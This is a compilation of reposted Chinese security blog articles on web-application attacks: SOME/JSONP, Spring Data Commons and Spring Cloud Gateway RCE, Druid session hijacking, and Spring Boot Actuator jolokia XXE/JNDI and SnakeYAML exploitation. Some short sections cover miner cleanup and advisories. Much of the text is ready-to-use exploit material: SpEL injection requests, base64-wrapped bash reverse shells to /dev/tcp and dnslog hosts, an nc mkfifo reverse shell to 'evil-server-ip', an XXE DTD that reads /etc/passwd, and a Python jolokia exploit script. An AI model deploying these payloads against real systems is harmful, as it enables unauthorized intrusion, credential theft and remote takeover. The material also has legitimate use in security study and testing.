浅析同源方式执行(SOME)攻击

浅析同源方式执行(SOME)攻击

本文转自Str3am 并作补充

SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。  非常感谢兔子师傅@Homaebic在分享会上的分享,才有了这篇文章。

0x01 原理及危害

想要理解SOME攻击,必须先对同源策略和JSONP技术有所了解,JSONP我理解为一种用户可控制js执行函数的跨域数据访问技术,详细可以参见这篇文章或者百度。
SOME攻击
正是由于JSONP可以控制执行函数的特性,产生了SOME攻击,主要危害比如点击链接后自动关注微博,自动点赞,自动授权等。

0x02 攻击条件

存在用户可控函数点,读取用户输入执行对应javascript代码(即寻找JSONP点,通常以get方法callback名传入)
可控点可以输入”.”,点号(因为SOME攻击主要还是操作网页DOM)

0x03 SOME复现

这里通过一个大佬写的SOME靶场来练习复现,除了靶场,还有查找dom工具,exp生成,SOME原理介绍,很不错的一个学习网站。
image

Same Origin Method Execution
点击第一个 Vulnerable Example 项目,并打开一个子网页,在颜色轮盘上选择任意颜色,发现父网页标签背景会根据选择改变。
image

子网页其实就是一个JSONP可控点,当我们点击轮盘中的任意颜色后它的连接如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=changeColor
现在我们想要做的就是控制callback参数,访问之后自动点击父页面的红色按钮。
利用第二个 Reference Generator 项目介绍的谷歌插件,这是一个可以自动获取元素DOM位置的插件。
image

右键即可获取,可在控制台中用click事件测试是否获取正确。
image

修改子页面参数如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=box.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click

访问之后弹窗,按钮被点击,SOME攻击实现。
image

兔子师傅演示的时候打开了两个网页some1和some2,打开some1后,用windiow。open方式打开some2页面,等some1页面加载完之后,some2地址location.replace到payload实现攻击。
我在实际测试的时候发现,当我打开第一个页面,然后直接开启一个新的页面访问payload,第一个页面是不会弹窗的,但是两个页面都是满足同源策略的,按理说执行脚本代码是没问题的,参阅文章后发现,要实现DOM操作,两个界面还必须满足父窗口和子窗口关系,这样子窗口才能够操作到父窗口的DOM,否则执行操作的时候会提示元素找不到的错误。兔子师傅这里是在some1下用window.open打开的some2界面,两个窗口父子关系是满足的。
同时,还需要注意一点的是,因为很多浏览器禁止window.open的原因(谷歌和火狐会禁止),兔子师傅的方法局限性很大,柠檬师傅采用了两个iframe的办法,避免了拦截,也很好的保证了同源性。附上柠檬师傅的代码

1
2
3
4
5
6
7
8
9
10
<iframe src="https://www.someattack.com/Playground/" name=b></iframe>
<iframe name=a></iframe>
<script>
window.frames[0].open('https://www.someattack.com/Playground/','a');
setTimeout(
function(){
window.frames[1].location.href = 'https://www.someattack.com/Playground/ColorPicker.php?callback=document.body.firstElementChild.lastElementChild.lastElementChild.lastElementChild.previousSibling.previousSibling.lastElementChild.click'
}
,1000);
</script>

0x04 漏洞防御

回调函数使用静态函数命名,限制该函数的调用范围。
谷歌的解决方法是,把回调函数加入服务器端的白名单。
Hayak建议,注册回调函数。

参考链接

https://www.someattack.com/Playground/
http://blog.safedog.cn/?p=13
http://www.aqniu.com/hack-geek/5075.html

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

本文转自樱浅沐冰 并作补充

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现过程

vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、验证

这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn
image

拼接命令
curl whoami.t15gcx.dnslog.cn

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
image

bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

Exp

替换对应的payload,重新发送数据包
成功反弹回显到dnslog上
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

image

二、反弹shell

反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口
image

替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell
image

参考文章

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273

服务器(Linux)挖矿木马病毒(kswapd0进程使cpu爆满)

服务器(Linux)挖矿木马病毒(kswapd0进程使cpu爆满)

本文转自飞川撸码 并作补充

前言

由于本人的阿里云服务器遭受攻击,被挖矿,导致CPU爆满,同时受到阿里云官方的邮箱、短信以及电话通知(监管部门是不允许服务器被直接或者间接挖矿)
首先是CPU爆满,远程登录不了,通过将服务器重启以后可以远程登录了。以kswapd0进程为例,其他进程类似,下面就是具体步骤了。
可参考阿里云的:挖矿程序处理最佳实践
注:如果你的服务器购买了付费版云安全中心,在云安全中心插件正常的前提下,可以利用付费版的主动防御及安全告警处理的功能来手动扫描下,对于检测到的威胁,你可以在安全告警处理页面进一步核实处理。应该可以直接处理掉。(如果没有,看下面的处理)
image

image

1.在系统里面top一下,查看了所有进程

image

看到这些进程一直在变化,但是,主要是由于kswapd0进程在作怪,占据了99%以上的CUP,查找资料后,发现它就是挖矿进程。

2.排查kswapd0进程

2.1 执行命令netstat -antlp | grep kswapd0 查询该进程的网络信息

netstat -antlp | grep kswapd0
image

发现一个与本机端口通信的是一个荷兰的ip
image

2.2执行命令netstat -antlp | grep 194.36.190.30 查询该地区ip的其他网络占用情况

netstat -antlp | grep 194.36.190.30
image

发现只有这一个进程(当然,很有可能花卉有其他进程)

3. 查找进程的详细信息

我们来到/proc/目录下查找对应的pid号,即/proc/497。可以在这目录下找到kswapd0进程的详细信息。
ll /proc/497
image

4.查看进程的工作空间

ps -ef | grep kswapd0
image

执行完后可以看到进程的pid以及进程相关文件的位置

5.切换到木马程序目录并删除

image

rm -rf /var/tmp/.copydie

6.清理定时任务

很多病毒都是有会在定时任务里面,以至于很难清理清楚。(由于我的服务器买油开启定时任务服务,所以里面没有任务)

1
2
3
4
查看定时任务:
crontab -l
清理计划任务:
crontab -e

清除后将定时任务里的相关文件都清理干净,若有其他用户,将其他用户的定时任务也清理。

7.杀掉kswapd0进程

最好把木马程序和定时任务都清理完了再杀掉,要不然还会自动重启
kill -9 497 #kill -9 kswapd0进程的PID

8.总结

就是跟着进程找找目录,然后杀进程,清目录
清定时任务
服务器的ftp端口最好别用22,密码尽量设置复杂点
尽量用密钥连接服务器,最好别用账号密码连接
封闭不使用的端口,做到用一个开一个(通过防火墙和安全组策略)
密码增强复杂性
及时修补系统和软件漏洞

解决kswapd0 CPU占用率高的问题

解决kswapd0 CPU占用率高的问题

本文转自年迈的老头子 并作补充

连接服务器时发现cpu使用率100%,使用top命令查看是kswapd0进程占用cpu极高
image

百度下后知道kswapd0进程的作用:
它是虚拟内存管理中,负责换页的,操作系统每过一定时间就会唤醒kswapd ,看看内存是否紧张,如果不紧张,则睡眠,在 kswapd 中,有2个阀值,pages_hige 和 pages_low,当空闲内存页的数量低于 pages_low的时候,kswapd进程就会扫描内存并且每次释放出32 个free pages,直到 free page的数量到达pages_high。通过阻止kswapd0进程过渡活跃地消耗CPU的方法是设置大页内存。

刚开始以为是本身服务器内存小的问题后来翻阅了其他大佬的博客后使用netstat -antlp查看了下系统外部连接,发现存在一个意大利的ip占用kswapd0进程和荷兰的ip占用rsync进程,,经查询后rsync是一个数据传输工具,此时意识到了事情的严重性
image

此时开始查找进程占用的文件路径

1
2
3
4
cd /proc/1266
ls -l exe
cd /proc/1246
ls -l exe

image

查询过后发现是使用prel写的一个脚本,删除整个文件夹后发下这两个进程依然存在,然后就开始了简单粗暴的过程直接kill掉这两个进程,kill点之后发现这两个进程不在了cpu的使用率下来了观察一段时间后确定cpu使用率正常了
image

Spring Cloud Gateway rce(CVE-2022-22947)

Spring Cloud Gateway rce(CVE-2022-22947)

本文转自6right 并作补充

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
也是codeql发现的

漏洞影响

3.1.0
3.0.0至3.0.6
3.0.0之前的版本

复现漏洞

首先,发送以下请求以添加包含恶意SpEL 表达式的路由器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

反弹shell将命令替换为base64命令即可
Content-Type: application/json

image

其次,刷新网关路由器。SpEL 表达式将在此步骤中执行:

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

第三,发送以下请求以检索结果:

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

查看所有路由

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes HTTP/1.1
Host: 123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

最后,发送一个 DELETE 请求来删除我们的恶意路由器:

1
2
3
4
5
6
7
8
9
10
DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json

image
删除后用记得也用refresh

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"
}
}],
"uri": "http://example.com"
}

删去new String[]初始化,直接将base64的反弹shell命令放入填入
生成base64那个站点崩了,可以自己写个python

1
2
3
4
5
6
import base64


base64_str = input("请输入反弹shell命令,如:bash -i >& /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")

漏洞原理

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章

首先定位到漏洞的修复版本对比
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
image
可以看到删除了默认的StandardEvaluationContext,改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理

默认的StandardEvaluationContext里getValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}

可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果

修复建议

3.1.x用户应升级到3.1.1+
3.0.x用户应升级到3.0.7+
如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用
如果需要Actuator端点,则应使用Spring Security对其进行保护

YApi命令执行漏洞(MPS-2022-60494)安全风险通告

YApi命令执行漏洞(MPS-2022-60494)安全风险通告

本文转自奇安信 CERT 并作补充

项目介绍

YApi 是高效、易用、功能强大的 API管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护API。
近日,奇安信CERT监测到YApi命令执行漏洞,远程未授权的攻击者可通过注入漏洞获取有效用户token,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令。鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。

漏洞概述

YApi中存在命令执行漏洞,远程未授权的攻击者可通过注入漏洞获取有效用户token,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令。

影响版本

YApi < 1.12.0

修复方式

一、版本升级

目前官方已有可更新版本,建议受影响用户更新至 1.12.0 及以上版本。
注:

  1. YApi 1.11.0版本已修复Mongo注入获取Token的问题,导致攻击者无法在未授权的情况下利用此漏洞。
  2. 在YApi 1.12.0的版本更新中,仅默认禁用了Pre-request和Pre-response脚本功能,使得此漏洞在默认配置下无法利用。

二、缓解措施

  1. 在业务允许的情况下,建议将YApi部署在内网,禁止外网访问。
  2. 修改默认token加密的盐:
    编辑项目根目录中的config.json,添加”passsalt”:”任意随机值”,如:
    "passsalt":"this_is_a_test"
    保存,重启YApi服务即可。

参考链接

https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c?diff=split

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

本文转自棱镜七彩 并作补充

项目介绍

Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。它提供了一组可以在Spring应用上下文中配置的Bean,充分利用了Spring IoC,DI(控制反转Inversion of Control ,DI:Dependency Injection 依赖注入)和AOP(面向切面编程)功能,为应用系统提供声明式的安全访问控制功能,减少了为企业系统安全控制编写大量重复代码的工作。

项目地址

https://spring.io/projects/spring-security

漏洞概述

Spring Security 的受影响版本中存在权限提升漏洞,攻击者可以修改客户端通过浏览器向授权服务器发出的请求,如果授权服务器在后续使用包含空作用域列表的 ’OAuth2 Access Token Response‘ 响应来获取访问token,攻击者可以获得权限提升,以特权身份执行恶意代码。

影响版本

org.springframework.security:spring-security-oauth2-client@[5.6, 5.6.9)
org.springframework.security:spring-security-oauth2-client@[5.7, 5.7.5)

环境搭建

  1. 下载并使用spring官方提供的样例进行测试
  2. 分别启动login和authorization-server,官方提供的authorization-server默认账号密码是user、password

漏洞分析

该漏洞是一个Spring Security Oauth2的逻辑漏洞,要想明白该漏洞,我们必须先了解下什么是Oauth2。
简单说,OAuth2 就是一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。
OAuth 2.0 规定了四种获得令牌的流程:
授权码(authorization-code)
隐藏式(implicit)
密码式(password)
客户端凭证(client credentials)
授权码模式最常用,该模式的整个授权过程的时序图如下:

image

CVE-2022-31692漏洞产生的原因在于最后返回token时分配的scope不当,在spring security 中,应用向授权服务器请求token的代码如下:

image

上述标注的代码会判断AccessTokenResponse.scope是否为空,如果条件成立,则会使用当前client配置的scope。而scope代表的是令牌有权限范围。也就是说当授权服务器返回的scope为空,则客户端权限提升至最大。因此存在权限提升漏洞。
官方修复commit如下,分析代码可知spring security实现了三种认证模式并全部修复了漏洞。

image

三种模式的修复代码都是类似的,选其中一个分析,从修复代码可知修复后直接使用授权服务器返回的内容。

image

修复方式

升级到最新版

参考链接

OAuth2.0究竟是个啥?看完这13张图你就明白了! - 腾讯云开发者社区-腾讯云
CVE-2022-31690: Privilege Escalation in spring-security-oauth2-client
Spring-Security Commit:Fix scope mapping
OAuth 2.0 的一个简单解释
[iThome鐵人賽 2022] Day31 (CVE-2022-31692) Spring Security 又(?)有漏洞惹~~ 使用個 forward 功能臭了嗎?! - YouTube

Druid未授权访问利用

Druid未授权访问利用

本文转自春日野穹 并作补充

引言

最近挖SRC经常遇到Druid未授权访问漏洞,觉得过程比较有趣,所以简单记录一下

Druid简介

druid是阿里研发的一款数据库连接池,其开发语言为java,druid集合了c3p0、dbcp、proxool等连接池的优点,还加入了日志监控、session监控等数据监控功能,使用Druid能有效的监控DB池连接和SQL的执行情况。
更多信息可参考官方GitHub项目:https://github.com/alibaba/druid
druid虽高效好用,但当开发者配置不当时就可能造成未授权访问,攻击者可利用泄露的Session登录后台

Druid未授权访问路径

怎么探寻Druid未授权访问呢?可以直接拼接以下路径进行访问,如果页面存在,即为Druid未授权访问

1
2
3
4
5
6
7
8
9
10
11
12
html:
ip/druid/index.html ##Druid Index
ip/druid/sql.html ##Druid sql监控页面
ip/druid/weburi.html ##Druid Web URI监控页面
ip/druid/websession.html ##Druid Web Session监控页面

json:
ip/druid/weburi.json ##Druid Web URI json
ip/druid/websession.json ##Druid Web Session json

Druid 登录接口:
ip/druid/login.html ##Druid登录认证页面

当一级目录不存在时,可尝试拼接二级目录进行访问
也可利用谷歌语法或目录扫描工具进行探测:
image

提取session

访问ip/druid/weburi.html看到以下页面则证明漏洞可被利用,如果url和session页面都为空,则说明这两项druid并不管理
image

当/druid/websession.html页面存在数据时,我们可利用该页面的session伪造登录,点击最后访问时间,然后复制一条离现在时间最为接近的session进行伪造登录;之所以要点击最后访问时间排序session,是因为此处记录的Session并非全部都是用户在线时的session,当用户退出系统时,session虽然还存在,但已失效,无法再利用。
也可利用py提取session然后结合burp的Intruder模块批量遍历高权限用户,session地址可参考上面给出的链接
image

如果我们并不清楚后台的位置,我们可再把脚本改一下,利用url监控处为我们提供清晰的站点目录架构
image

ok,得到后台地址,接下来我们访问一下
image

重新刷新一下页面,然后开启burp进行抓包,抓包过程中发现站点cookie值存在session字段,点击最后访问时间排序一下session,随后复制session过来访问一下
image

毫无意外,成功进去,但是权限不高,看来还是得开启神奇的Intruder模块,爆破结果如下
image

根据返回包信息看哪条session权限高就用它伪造登录
注:除session伪造外,url监控和sql监控也能为我们开拓攻击的思路,当我们遇到一个注入且不清楚其语法结构时,查看sql监控处有可能会得到,此外,url监控处也为我们提供了较为清晰的站点目录架构

session伪造进后台

之后就是替换cookie值伪造登录了,f12改一下session值即可
image

结语

druid作为数据源的一名后起之秀,凭借其出色的性能,渐渐被大家使用。当然还有他的监控页面也有这非常大的作用。但是监控页面往往包含了很多隐私的数据信息,所以需要将其保密,可以为监控页面添加一个用户名和密码,确保其安全性

Spring Boot Actuator 漏洞利用

Spring Boot Actuator 漏洞利用

本文转自诺言 并作补充

前言

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

漏洞发现

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。
image

影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用

端点描述

官方文档对每个端点的功能进行了描述。

1
2
3
4
5
6
7
8
9
10
11
12
路径            描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。
image

Spring Boot 2.x版本端点移动到/actuator/路径。
image

本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。
访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求,可以伪造cookie进行登录。
image

访问/env端点获取环境属性。
数据库账户泄漏
image

Jolokia端点利用

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。
image

xxe漏洞实现

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件

1
2
3
4
5
logback.xml,地址为公网vpsweb服务地址。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>
1
2
3
4
fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。
image

3、远程访问logback.xml文件。

1
www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。
image

远程代码执行实现

可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标,使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时,最终会触发 InitialContext.lookup(URI) 操作,而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定了目标本地存在的 BeanFactory 类,以及Bean Class 的类名、属性、属性值(这里为 ELProcessor 、x、eval(…))。
4、目标在进行 lookup() 操作时,会动态加载并实例化 BeanFactory 类,接着调用 factory.getObjectInstance() 方法,通过反射的方式实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值。对应我们的代码,最终调用 setter 方法的时候,就是执行如下代码:

1
ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。

下载rce利用代码
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口,和反弹shell的地址和端口。
image
使用maven对java代码进行编译打包。
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,执行mvn clean install
打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。
image

image

1
2
3
4
5
修改logback.xml文件内容。

<configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过’Djava.rmi.server.hostname=x.x.x.x’指定自己的RMI监听的外网地址。
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

vps使用nc监听反弹shell指定的端口。
nc -lvp 9998
在漏洞url访问:
http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml
image
成功反弹shell。
image

createJNDIRealm方法

相关原理请查看Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。
image

利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
可以使用burp一步步重放,也可以直接使用python脚本执行。
import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

使用nc监听反弹的端口nc -lvp 9998
image

使用python发送请求python exp.py http://x.x.x.x:8087
image

成功反弹shell。
image

spring Cloud env

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
更改执行的命令。
image

1
2
3
4
将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件挂载到公网http服务器。
修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

1
2
3
4
5
6
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

image

请求 /refresh 接口触发

1
2
3
4
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

